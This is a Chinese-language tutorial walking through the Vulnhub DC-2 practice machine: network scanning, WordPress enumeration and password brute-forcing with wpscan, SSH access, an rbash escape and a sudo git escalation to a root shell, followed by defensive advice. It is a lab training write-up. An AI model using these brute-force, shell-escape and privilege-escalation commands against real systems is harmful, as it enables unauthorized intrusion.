Vulnhub靶机DC系列-DC2
字数 1140 2025-08-15 21:33:46
DC-2 靶机渗透教学文档
靶机概述
DC-2 是 Vulnhub 上设计的一个专为渗透测试学习而构建的靶机环境,适合初学者练习。与 DC-1 类似,它包含五个标志(flag),其中最重要的是最终的 root 标志。靶机基于 Linux 系统,需要使用者具备基本的 Linux 命令行知识和渗透测试工具使用经验。
环境准备
- 下载靶机:从 Vulnhub 获取 DC-2 镜像(https://www.vulnhub.com/entry/dc-2,311/)
- 网络配置:确保靶机与攻击机在同一网络段
- 修改 hosts 文件:将靶机 IP 与域名 dc-2 绑定
渗透测试步骤
1. 信息收集
目标发现:
nmap -sn 192.168.37.0/24
端口扫描:
nmap -p- <靶机IP>
2. Web 服务枚举
访问 Web 服务:
- 通过浏览器访问 http://dc-2
- 识别为 WordPress 站点
目录扫描:
dirb http://dc-2
WordPress 扫描:
wpscan --url http://dc-2 --enumerate t # 扫描主题
wpscan --url http://dc-2 --enumerate p # 扫描插件
wpscan --url http://dc-2 --enumerate u # 枚举用户
3. 获取 Flag1
- 在 Web 页面中找到 Flag1
- 提示可能需要暴力破解
生成字典:
cewl http://dc-2/ > wordlist.txt
暴力破解 WordPress 用户:
wpscan --url http://dc-2 --passwords wordlist.txt
获取的凭证:
- jerry/adipiscing
- tom/parturient
4. 获取 Flag2
- 使用获取的凭证登录 WordPress 后台
- 在后台中找到 Flag2
- 提示尝试其他攻击路径(如 SSH)
5. SSH 访问
尝试 SSH 登录:
ssh tom@dc-2 -p <SSH端口>
密码:parturient
- 发现受限的 rbash 环境
- 在 tom 家目录找到 Flag3
绕过 rbash 限制:
BASH_CMDS[a]=/bin/sh;a
export PATH=$PATH:/bin
export PATH=$PATH:/usr/bin
6. 获取 Flag3 和 Flag4
- 使用 vi 查看 Flag3(因为 cat 不可用)
- 切换到 jerry 用户:
su jerry
密码:adipiscing
- 在 jerry 家目录找到 Flag4
7. 权限提升
检查 sudo 权限:
sudo -l
发现 git 命令可以以 root 权限执行:
sudo git -p help
利用 git 提权:
!/bin/sh
8. 获取最终 Flag
- 提权成功后,在 root 目录找到最终 Flag
关键知识点总结
- 信息收集:使用 nmap 进行网络扫描和端口识别
- Web 枚举:使用 dirb 和 wpscan 对 WordPress 进行详细扫描
- 密码破解:利用 cewl 生成字典,wpscan 进行暴力破解
- 受限环境绕过:在 rbash 受限环境中扩展 PATH 并绕过限制
- 权限提升:通过 sudo 权限滥用(git 命令)实现提权
防御建议
- 限制 WordPress 后台登录尝试次数
- 避免使用弱密码
- 限制 sudo 权限,仅授予必要的最小权限
- 对受限 shell 环境进行严格配置
- 定期更新 WordPress 核心、主题和插件
通过这个靶机的练习,可以掌握基本的渗透测试流程和多种攻击技术,特别是针对 WordPress 和 Linux 系统的攻击方法。